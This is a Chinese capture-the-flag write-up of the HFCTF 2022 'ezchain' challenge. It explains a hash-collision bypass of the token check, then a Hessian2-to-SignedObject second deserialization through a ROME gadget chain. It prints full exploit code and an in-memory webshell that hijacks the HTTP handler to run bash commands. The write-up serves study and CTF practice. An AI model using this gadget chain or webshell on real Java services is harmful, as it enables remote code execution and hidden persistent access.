ezchain

2022年前期虎符杯的一道题目,ezchain题目是java二次反序列化相关。

环境分析

提供了docker-compose.yml,nginx.conf文件

nginx.conf:

server { 
    listen       80;
    server_name  localhost;

    location / {
        root   /usr/share/nginx/html;  #收到/路径请求会访问/usr/share/nginx/html目录
        index  index.html index.htm;   #设置首页
	proxy_pass http://web:8090;
    }

    #error_page  404              /404.html;

    # redirect server error pages to the static page /50x.html
    #
    error_page   500 502 503 504  /50x.html;
    location = /50x.html {
        root   /usr/share/nginx/html;
    }
}

docker-compose.yml

version: '2.4'
services:
  nginx:
    image: nginx:1.15
    ports:
      - "0.0.0.0:8090:80"
    restart: always
    volumes:
        - ./nginx.conf:/etc/nginx/conf.d/default.conf:ro
    networks: #加入的网络
      - internal_network
      - out_network
  web:
    build: ./
    restart: always
    volumes:
        - ./flag:/flag:ro
    networks: #加入的网络
      - internal_network
networks: #设置网络
    internal_network:
        internal: true #与外部隔离的网络,应该独立的网络
        ipam:
            driver: default #默认桥接bridge
    out_network:
        ipam:
            driver: default #默认桥接bridge

从最后的networks中很明显的看出是不出网环境

docker-compose网络配置:1,2

Jar包分析

Java开发0基础,我猜测这个jar包应该是整个项目打包出来的其中一个模块

然后找到一个Index.class。可以看出是用Java实现的简单HTTP服务,在Java中可以使用HttpServer类来实现Http服务器,该类位于com.sun.net包下(rt.jar)

package com.ctf.ezchain;

import com.caucho.hessian.io.Hessian2Input;
import com.sun.net.httpserver.HttpExchange;
import com.sun.net.httpserver.HttpHandler;
import com.sun.net.httpserver.HttpServer;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.InetSocketAddress;
import java.util.HashMap;
import java.util.Map;
import java.util.Objects;
import java.util.concurrent.Executors;

public class Index {
  public static void main(String[] args) throws Exception {
    System.out.println("server start");
    HttpServer server = HttpServer.create(new InetSocketAddress(8090), 0); //创建一个HttpServer实例,并绑定到指定的IP地址和端口号
    server.createContext("/", new MyHandler()); //创建一个HttpContext,将路径为/请求映射到MyHandler处理器
    server.setExecutor(Executors.newCachedThreadPool()); //设置服务器的线程池对象
    server.start(); //启动服务器
  }
  
  static class MyHandler implements HttpHandler {	//继承httpserver.HttpHandler可以处理http请求,主要处理逻辑就是handle方法
    public void handle(HttpExchange t) throws IOException {
      String query = t.getRequestURI().getQuery();	//大致就是获得请求Http请求参数的意思,像/?id=1获得的就是id=1
      Map<String, String> queryMap = queryToMap(query); //奖url键值对放入Map中
      String response = "Welcome to HFCTF 2022";
      if (queryMap != null) {
        String token = queryMap.get("token");	//相当于获得token参数的值
        String secret = "HFCTF2022";
        if (Objects.hashCode(token) == secret.hashCode() && !secret.equals(token)) { //后面会详细说
          InputStream is = t.getRequestBody();
          try {
            Hessian2Input input = new Hessian2Input(is);
            input.readObject();
          } catch (Exception e) {
            response = "oops! something is wrong";
          } 
        } else {
          response = "your token is wrong";
        } 
      } 
      t.sendResponseHeaders(200, response.length());
      OutputStream os = t.getResponseBody();
      os.write(response.getBytes());
      os.close();
    }
    
    public Map<String, String> queryToMap(String query) {
      if (query == null)
        return null; 
      Map<String, String> result = new HashMap<>();
      for (String param : query.split("&")) {
        String[] entry = param.split("=");
        if (entry.length > 1) {
          result.put(entry[0], entry[1]);
        } else {
          result.put(entry[0], "");
        } 
      } 
      return result;
    }
  }
}

明显的Hessian2Input反序列化,提供了Rome-utils和相关Rome包应该就是Hessian的Rome反序列化利用链,考虑到是不出网的环境(不出网就无法JNDI),所以应该要二次反序列化然后注入内存马。不过在这之前需要绕过if (Objects.hashCode(token) == secret.hashCode() && !secret.equals(token))

我们传输?token=HFCTF201Q即可绕过

绕过hashCode

想要绕过if (Objects.hashCode(token) == secret.hashCode() && !secret.equals(token)),先来看看涉及到的几个方法

Objects.hashCode(object o)

public static int hashCode(Object o) {
    return o != null ? o.hashCode() : 0;
}

十分的明确就是调用对象的hashCode()方法

String#hashCode()

public int hashCode() {
    int h = hash;
    if (h == 0 && value.length > 0) {
        char val[] = value;

        for (int i = 0; i < value.length; i++) {
            h = 31 * h + val[i];
        }
        hash = h;
    }
    return h;
}

计算方式大概就是

i h
0 0
1 val[0]
2 31*val[0]+val[1]
3 31*(31*val[0]+val[1])+val[2]
4 31*(31*(31*val[0]+val[1])+val[2])+val[3]
... ...

String#equals()

    public boolean equals(Object anObject) {
        if (this == anObject) {
            return true;
        }
        if (anObject instanceof String) {
            String anotherString = (String)anObject;
            int n = value.length;
            if (n == anotherString.value.length) {
                char v1[] = value;
                char v2[] = anotherString.value;
                int i = 0;
                while (n-- != 0) {
                    if (v1[i] != v2[i])
                        return false;
                    i++;
                }
                return true;
            }
        }
        return false;
    }

该方法里面的第一个if通过==来判断二者对象是否相等,而java中==是通过比较俩个对象的地址来判断否相等

回到题目如果我们传一个HFCTF2022过去一定不行,俩个字符串的地址一定相等equals的判断一定为true。所以就考虑构造一个其它的字符串,其实有一种笨办法暴力hashCode冲撞,不过这样耗时会很长。我看官方WP给的是:Y1\"nOJF-6A'>|r-,不太确定它是不是暴力破解得出来的。还有另外一种方式

再看一遍String#hashCode()方法里面计算h的逻辑

i h
0 0
1 val[0]
2 31*val[0]+val[1]
3 31*(31*val[0]+val[1])+val[2]
4 31*(31*(31*val[0]+val[1])+val[2])+val[3]
... ...
  • 如果字符串中有俩个字符,设第一个字符串的俩个字符是a,b;第二个字符串的俩个字符是x,y

如果要得到:31a+b=31x+y。那么就需要a比x大1,y比b大31

  • 如果字符串中有9个字符想要实现相等,可以让前7个字符完全一样,后俩个字符满足31a+b=31x+y即可。于是就有了HFCTF201Q

检验一下:

import java.util.Objects;

public class Test {
    public static void main(String[] args) throws Exception {
        String token= "HFCTF201Q"; //:Y1\"nOJF-6A'>|r-     HFCTF201Q
        String secret = "HFCTF2022";
        if( Objects.hashCode(token)==secret.hashCode() &&!secret.equals(token) ){
            System.out.println("SUCCESS");
        }
    }
}

SUCCESS

Hessian2反序列化

代码中是很明显得Hessian2反序列化。

if (Objects.hashCode(token) == secret.hashCode() && !secret.equals(token)) {
    InputStream is = t.getRequestBody();
    try {
        Hessian2Input input = new Hessian2Input(is);
        input.readObject();
    } catch (Exception e) {
        response = "oops! something is wrong";
    } 
} else {
    response = "your token is wrong";
} 

META-INF/maven/MANIFEST.MF

Manifest-Version: 1.0
Archiver-Version: Plexus Archiver
Created-By: Apache Maven
Built-By: waderwu
Build-Jdk: 1.8.0_211
Main-Class: com.ctf.ezchain.Index

在META-INF/maven/com.caucho/hessian/pom.properties

#Generated by Maven
#Mon Feb 10 00:34:21 CET 2014
version=4.0.38
groupId=com.caucho
artifactId=hessian

META-INF/maven/com.rometools/rome/pom.properties

#Generated by org.apache.felix.bundleplugin
#Sun Jul 24 12:37:09 CEST 2016
version=1.7.0
groupId=com.rometools
artifactId=rome

META-INF/maven/com.rometools/rome-utils/pom.properties

#Generated by Apache Maven
#Sun Jul 24 12:36:49 CEST 2016
version=1.7.0
groupId=com.rometools
artifactId=rome-utils

META-INF/maven/org.slf4j/pom.properties

#Generated by Maven
#Thu Feb 11 21:26:52 CET 2016
version=1.7.16
groupId=org.slf4j
artifactId=slf4j-api

以前D3CTF那次Rome反序列化利用链复现中使用的是Rome1.0,这次是1.7.0和之前复现Dubbo的反序列化漏洞使用的版本一样。

SignedObject二次反序列化

二次反序列化的目的是为了将一个受限的反序列化转换为一个不受限的反序列化。如果Java中有一个类的方法可以自己实现反序列化那么就能满足了我们的需求。java.security.SignedObject#getObject()可以很好的满足我们的需求

public Object getObject()
    throws IOException, ClassNotFoundException
{
    // creating a stream pipe-line, from b to a
    ByteArrayInputStream b = new ByteArrayInputStream(this.content);
    ObjectInput a = new ObjectInputStream(b);
    Object obj = a.readObject();
    b.close();
    a.close();
    return obj;
}

而且从其构造方法来看其参数非常好控制

public SignedObject(Serializable object, PrivateKey signingKey,
                    Signature signingEngine)
    throws IOException, InvalidKeyException, SignatureException {
    // creating a stream pipe-line, from a to b
    ByteArrayOutputStream b = new ByteArrayOutputStream();
    ObjectOutput a = new ObjectOutputStream(b);

    // write and flush the object content to byte array
    a.writeObject(object);
    a.flush();
    a.close();
    this.content = b.toByteArray();
    b.close();

    // now sign the encapsulated object
    this.sign(signingKey, signingEngine);
}

既然找到了这个方法就可以开始编写二次反序列化后的利用链了,有关Templateslmpl的Gadget链有很多。因为涉及到了Rome,所以这里就列举几条有关Rome的:具体参考链接

  • BadAttributeValueExpception
  • ObjectBean
  • HashMap
  • Hashtable

....

这里就利用最短的Gadget--BadAttributeValueException(具体的也不说了非常的简单),Gadget利用思路

BadAttributeValueExpException#readObject
    --ToStringBean#toString
       --Templateslmpl#getOutputProperties

完整代码

package HFCTF;

import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.rometools.rome.feed.impl.ToStringBean;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;

import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.security.*;

public class Attack {
    public static void main(String[] args) throws Exception {
        KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("RSA");
        KeyPair keyPair = keyPairGenerator.generateKeyPair();
        PrivateKey aPrivate = keyPair.getPrivate();
        Signature signature = Signature.getInstance("MD5withRSA"); ///
        TemplatesImpl tempalteslmpl = (TemplatesImpl)getTempalteslmpl();
        ToStringBean toStringBean = new ToStringBean(Templates.class,tempalteslmpl);
        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(1); //避免实例化时触发
        setFieldValue(badAttributeValueExpException,"val",toStringBean);
        SignedObject signedObject = new SignedObject(badAttributeValueExpException,aPrivate,signature);
        signedObject.getObject();

    }
    public static Object getTempalteslmpl() throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        byte[] evilBytes = getEvilBytes();
        setFieldValue(templates,"_name","Hello");
        setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
        setFieldValue(templates,"_bytecodes",new byte[][]{evilBytes});
        return templates;
    }
    public static void setFieldValue(Object object,String field_name,Object field_value) throws Exception {
        Class clazz = object.getClass();
        Field declaredField = clazz.getDeclaredField(field_name);
        declaredField.setAccessible(true);
        declaredField.set(object,field_value);
    }
    public static byte[] getEvilBytes() throws Exception {
        ClassPool classPool = new ClassPool(true);
        CtClass helloAbstractTranslet = classPool.makeClass("HelloAbstractTranslet");
        CtClass ctClass = classPool.getCtClass("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
        helloAbstractTranslet.setSuperclass(ctClass);
        CtConstructor ctConstructor = new CtConstructor(new CtClass[]{},helloAbstractTranslet);
        ctConstructor.setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
        helloAbstractTranslet.addConstructor(ctConstructor);
        byte[] bytes = helloAbstractTranslet.toBytecode();
        helloAbstractTranslet.detach();
        return bytes;
    }
    public static ByteArrayOutputStream serialize(Object object) throws Exception {
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        Hessian2Output hessian2Output = new Hessian2Output(byteArrayOutputStream);
        hessian2Output.writeObject(object);
        return byteArrayOutputStream;
    }
    public static void unserialize(InputStream inputStream) throws Exception {
        Hessian2Input hessian2Input = new Hessian2Input(inputStream);
        hessian2Input.readObject();
    }
}

触发SignedObject#getObject()

现在需要找一个可以触发SignedObject#getObject()方法的利用链即可,这炸眼一看就是一个getter。ROME的扩展利用链里面有很多能操作getter的前置链:ToStringBean#toString() /toString(final String prefix)EqualsBean#beanEquals/EqualsBean#equals

看到equals应该很熟悉吧,在JDK7u21原生反序列化里面就涉及到equals的利用链触发(P牛的《Java漫谈里面有讲过》)。

聊一聊equals这个方法:hashCode和equals

equals这个方法是Object类里面的方法,这个方法的原始作用是比较俩个对象是否出自同一个引用(也就是比较俩个对象地址是否相等)

public boolean equals(Object obj) {
  return (this == obj);
}

equals这个方法常见于集合框架中的HashSet和HashMap。HashSet中不允许出现重复的元素,HashMap中不允许出现相同的键,它们会使用equals方法来去重而且HashSet中会定义一个HashMap属性来去重。

hashCode方法也是Object类里面的方法,这个类由native来修饰,由C/C++来实现

public native int hashCode();

但是这里并不是Java原生的Deserializer,而是Hessian2反序列化。这俩者具体的区别也不多说了,在这里只需要关注Hessian2反序列化不会调用readObject方法即可。Hessian2在反序列化恢复Map对象的时候会调用MapDeserializer类来恢复对象

public Object readMap(AbstractHessianInput in) throws IOException {
    Object map;
    if (this._type == null) {
        map = new HashMap();
    } else if (this._type.equals(Map.class)) {
        map = new HashMap();
    } else if (this._type.equals(SortedMap.class)) {
        map = new TreeMap();
    } else {
        try {
            map = (Map)this._ctor.newInstance();
        } catch (Exception var4) {
            throw new IOExceptionWrapper(var4);
        }
    }

    in.addRef(map);

    while(!in.isEnd()) {
        ((Map)map).put(in.readObject(), in.readObject());
    }

    in.readEnd();
    return map;
}

这里就可以调用HashMap#put--HashMap#hash()--key.hashCode() 再往下就是我们熟悉的利用链了。我发现ROME中的EqualsBean类中重写了hashCode()方法,里面会调用EqualsBean#beanHashCode()

    public int beanHashCode() {
        return obj.toString().hashCode();
    }

这里的obj非常好控制。于是就有了这样一条利用链

HashMap#put()
  --HashMap#hash()
     --EqualsBean#hashCode()
         --EqualsBean#beanHashCode()
            --ToStringBean#toString()
    	   --ToStringBean#toString(final String prefix)

最后整体的利用链

package HFCTF;

import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.rometools.rome.feed.impl.EqualsBean;
import com.rometools.rome.feed.impl.ToStringBean;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;

import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.security.*;
import java.util.HashMap;

public class Attack {
    public static void main(String[] args) throws Exception {
        KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("RSA");
        KeyPair keyPair = keyPairGenerator.generateKeyPair();
        PrivateKey aPrivate = keyPair.getPrivate();
        Signature signature = Signature.getInstance("MD5withRSA"); ///
        TemplatesImpl tempalteslmpl = (TemplatesImpl)getTempalteslmpl();
        ToStringBean toStringBean = new ToStringBean(Templates.class,tempalteslmpl);
        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(1); //避免实例化时触发
        setFieldValue(badAttributeValueExpException,"val",toStringBean);
        SignedObject signedObject = new SignedObject(badAttributeValueExpException,aPrivate,signature);
        ToStringBean toStringBean1 = new ToStringBean(SignedObject.class,signedObject);
        EqualsBean equalsBean = new EqualsBean(String.class,"123");
        HashMap hashMap = new HashMap();
        hashMap.put(equalsBean,"1");
        setFieldValue(equalsBean,"beanClass",ToStringBean.class);
        setFieldValue(equalsBean,"obj",toStringBean1);
        //serialize(hashMap);
        unserialize("hf.ser");
        //hashmap -- equalsBean -- toStringBean
    }
    public static Object getTempalteslmpl() throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        byte[] evilBytes = getEvilBytes();
        setFieldValue(templates,"_name","Hello");
        setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
        setFieldValue(templates,"_bytecodes",new byte[][]{evilBytes});
        return templates;
    }
    public static void setFieldValue(Object object,String field_name,Object field_value) throws Exception {
        Class clazz = object.getClass();
        Field declaredField = clazz.getDeclaredField(field_name);
        declaredField.setAccessible(true);
        declaredField.set(object,field_value);
    }
    public static byte[] getEvilBytes() throws Exception {
        ClassPool classPool = new ClassPool(true);
        CtClass helloAbstractTranslet = classPool.makeClass("HelloAbstractTranslet");
        CtClass ctClass = classPool.getCtClass("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
        helloAbstractTranslet.setSuperclass(ctClass);
        CtConstructor ctConstructor = new CtConstructor(new CtClass[]{},helloAbstractTranslet);
        ctConstructor.setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
        helloAbstractTranslet.addConstructor(ctConstructor);
        byte[] bytes = helloAbstractTranslet.toBytecode();
        helloAbstractTranslet.detach();
        return bytes;
    }
    public static void serialize(Object object) throws Exception {
        FileOutputStream fileOutputStream = new FileOutputStream("hf.ser");
        Hessian2Output hessian2Output = new Hessian2Output(fileOutputStream);
        hessian2Output.writeObject(object);
        hessian2Output.flush(); //刷新缓冲区,写字符时候用到
        hessian2Output.close(); //关闭流对象,关闭前会刷新一次缓冲区

//        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
//        Hessian2Output hessian2Output1 = new Hessian2Output(byteArrayOutputStream);
//        hessian2Output1.writeObject(object);
//        hessian2Output1.close();
//        System.out.println(byteArrayOutputStream);
    }
    public static void unserialize(String filename) throws Exception {
        FileInputStream fileInputStream = new FileInputStream(filename);
        Hessian2Input hessian2Input = new Hessian2Input(fileInputStream);
        hessian2Input.readObject();
    }
}

反序列化回显

不出网的话dnslog肯定不能用了

写文件回显:通过提供的环境我们可以知道使用的是nginx服务,而且有关键路径/usr/share/nginx/html。但是我写文件回显失败了,原因应该在配置文件中,

后面的会覆盖前面的服务内容所以我们在nginx的html下写文件不行

    location / {
        root   /usr/share/nginx/html;  #收到/路径请求会访问/usr/share/nginx/html目录
        index  index.html index.htm;   #设置首页
	proxy_pass http://web:8090;
    }

中间件回显&内存马

内存马这一块没有搞过,现在好好学一学。本题使用的是JDK自带的web服务处理com.sun.net.httpserver,编写一个相关的内存马即可。应该也可以使用javaAgent内存马,它相对来说比较通用。

本题的web服务是由JDK自带的com.sun.net.httpserver所实现的,所以写个关于com.sun.net.httpserver的内存马就行。因为web中间件都是多线程的,所以我们可以从线程对象中获取它Thread.currentThread()

我把源代码拷贝到本地然后Debug并计算表达式


然后按照这个思路慢慢往下编写就OK了,这里写的内存马并没有开辟新的路由直接把原来的暴力替换,因为感觉这样较为简单。其实关于最后替换路由那里也可以不用放在无参构造方法里面,放在匿名代码块里面应该也可以 (静态代码块(只执行一次)--匿名代码块--无参/有参构造器)

import com.sun.net.httpserver.HttpExchange;
import com.sun.net.httpserver.HttpHandler;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.lang.reflect.Field;

public class memshell extends AbstractTranslet implements HttpHandler {
    @Override
    public void handle(HttpExchange httpExchange) throws IOException {
        String query = httpExchange.getRequestURI().getQuery();
        String[] split = query.split("=");
        String response = "SUCCESS"+"\n";
        if (split[0].equals("shell")) {
            String[] cmd = new String[]{"bash","-c",split[1]};
            InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
            byte[] bytes = new byte[1024];
            ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
            int flag=-1;
            while((flag=inputStream.read(bytes))!=-1){
                byteArrayOutputStream.write(bytes,0,flag);
            }
            response += byteArrayOutputStream.toString();
            byteArrayOutputStream.close();
        }
        httpExchange.sendResponseHeaders(200,response.length());
        OutputStream outputStream = httpExchange.getResponseBody();
        outputStream.write(response.getBytes());
        outputStream.close();
    }
    public memshell(){ //public和default的区别 public对所有类可见;default对同一个包内可见;templatlmpl默认实例化使用public memshell()
        try{
            ThreadGroup threadGroup = Thread.currentThread().getThreadGroup();
            Field threadsFeld = threadGroup.getClass().getDeclaredField("threads");
            threadsFeld.setAccessible(true);
            Thread[] threads = (Thread[])threadsFeld.get(threadGroup);
            Thread thread = threads[1];

            Field targetField = thread.getClass().getDeclaredField("target");
            targetField.setAccessible(true);
            Object object = targetField.get(thread);

            Field this$0Field = object.getClass().getDeclaredField("this$0");
            this$0Field.setAccessible(true);
            object = this$0Field.get(object);

            Field contextsField = object.getClass().getDeclaredField("contexts");
            contextsField.setAccessible(true);
            object = contextsField.get(object);

            Field listField = object.getClass().getDeclaredField("list");
            listField.setAccessible(true);
            java.util.LinkedList linkedList = (java.util.LinkedList)listField.get(object);
            object = linkedList.get(0);

            Field handlerField = object.getClass().getDeclaredField("handler");
            handlerField.setAccessible(true);
            handlerField.set(object,this);
        }catch(Exception exception){
        }
    }
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
    }
    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
    }
}

最终的exp

package HFCTF;

import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.rometools.rome.feed.impl.EqualsBean;
import com.rometools.rome.feed.impl.ToStringBean;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;

import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.security.*;
import java.util.HashMap;

public class Attack {
    public static void main(String[] args) throws Exception {
        KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("RSA");
        KeyPair keyPair = keyPairGenerator.generateKeyPair();
        PrivateKey aPrivate = keyPair.getPrivate();
        Signature signature = Signature.getInstance("MD5withRSA"); ///
        TemplatesImpl tempalteslmpl = (TemplatesImpl)getTempalteslmpl();
        ToStringBean toStringBean = new ToStringBean(Templates.class,tempalteslmpl);
        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(1); //避免实例化时触发
        setFieldValue(badAttributeValueExpException,"val",toStringBean);
        SignedObject signedObject = new SignedObject(badAttributeValueExpException,aPrivate,signature);
        ToStringBean toStringBean1 = new ToStringBean(SignedObject.class,signedObject);
        EqualsBean equalsBean = new EqualsBean(String.class,"123");
        HashMap hashMap = new HashMap();
        hashMap.put(equalsBean,"1");
        setFieldValue(equalsBean,"beanClass",ToStringBean.class);
        setFieldValue(equalsBean,"obj",toStringBean1);
        serialize(hashMap);
        //unserialize("hf.ser");
        //hashmap -- equalsBean -- toStringBean
    }
    public static Object getTempalteslmpl() throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        byte[] evilBytes = getEvilBytes();
        setFieldValue(templates,"_name","Hello");
        setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
        setFieldValue(templates,"_bytecodes",new byte[][]{evilBytes});
        return templates;
    }
    public static void setFieldValue(Object object, String field_name, Object field_value) throws Exception {
        Class clazz = object.getClass();
        Field declaredField = clazz.getDeclaredField(field_name);
        declaredField.setAccessible(true);
        declaredField.set(object,field_value);
    }
    public static byte[] getEvilBytes() throws Exception{
        byte[] bytes = ClassPool.getDefault().get("memshell").toBytecode();
        return bytes;
    }
    public static byte[] getCalcBytes() throws Exception {
        ClassPool classPool = new ClassPool(true);
        CtClass helloAbstractTranslet = classPool.makeClass("HelloAbstractTranslet");
        CtClass ctClass = classPool.getCtClass("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
        helloAbstractTranslet.setSuperclass(ctClass);
        CtConstructor ctConstructor = new CtConstructor(new CtClass[]{},helloAbstractTranslet);
        ctConstructor.setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
        helloAbstractTranslet.addConstructor(ctConstructor);
        byte[] bytes = helloAbstractTranslet.toBytecode();
        helloAbstractTranslet.detach();
        return bytes;
    }
    public static void serialize(Object object) throws Exception {
        FileOutputStream fileOutputStream = new FileOutputStream("hf.ser");
        Hessian2Output hessian2Output = new Hessian2Output(fileOutputStream);
        hessian2Output.writeObject(object);
        hessian2Output.flush(); //刷新缓冲区,写字符时候用到
        hessian2Output.close(); //关闭流对象,关闭前会刷新一次缓冲区

//        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
//        Hessian2Output hessian2Output1 = new Hessian2Output(byteArrayOutputStream);
//        hessian2Output1.writeObject(object);
//        hessian2Output1.close();
//        System.out.println(byteArrayOutputStream);
    }
    public static void unserialize(String filename) throws Exception {
        FileInputStream fileInputStream = new FileInputStream(filename);
        Hessian2Input hessian2Input = new Hessian2Input(fileInputStream);
        hessian2Input.readObject();
    }
}

还有很多的疑问,我不理解brup为什么特殊字符编码失败不能用+,只能用%20表示空格

最后还是成功复现成功,不过还没完。。。

参考链接

0ctf和ezchain二次反序列化的文章:https://tttang.com/archive/1510/#toc_0x01-ezchain-hfctf2022

hfezchain:https://ha1c9on.top/?p=1973

y4tacker师傅:https://y4tacker.github.io/2022/03/21/year/2022/3/2022虎符CTF-Java部分/#2022虎符CTF-Java部分

longlone师傅里面的二次反序列化:https://longlone.top/安全/java/java反序列化/反序列化篇之ROME/

https://ha1c9on.top/?p=1973

题目环境:https://github.com/waderwu/My-CTF-Challenges/tree/master/hfctf-2022/ezchain

http://novic4.cn/index.php/archives/24.html#cl-4

posted @ 2022-07-04 21:19  B0T1eR  阅读(342)  评论(0)    收藏  举报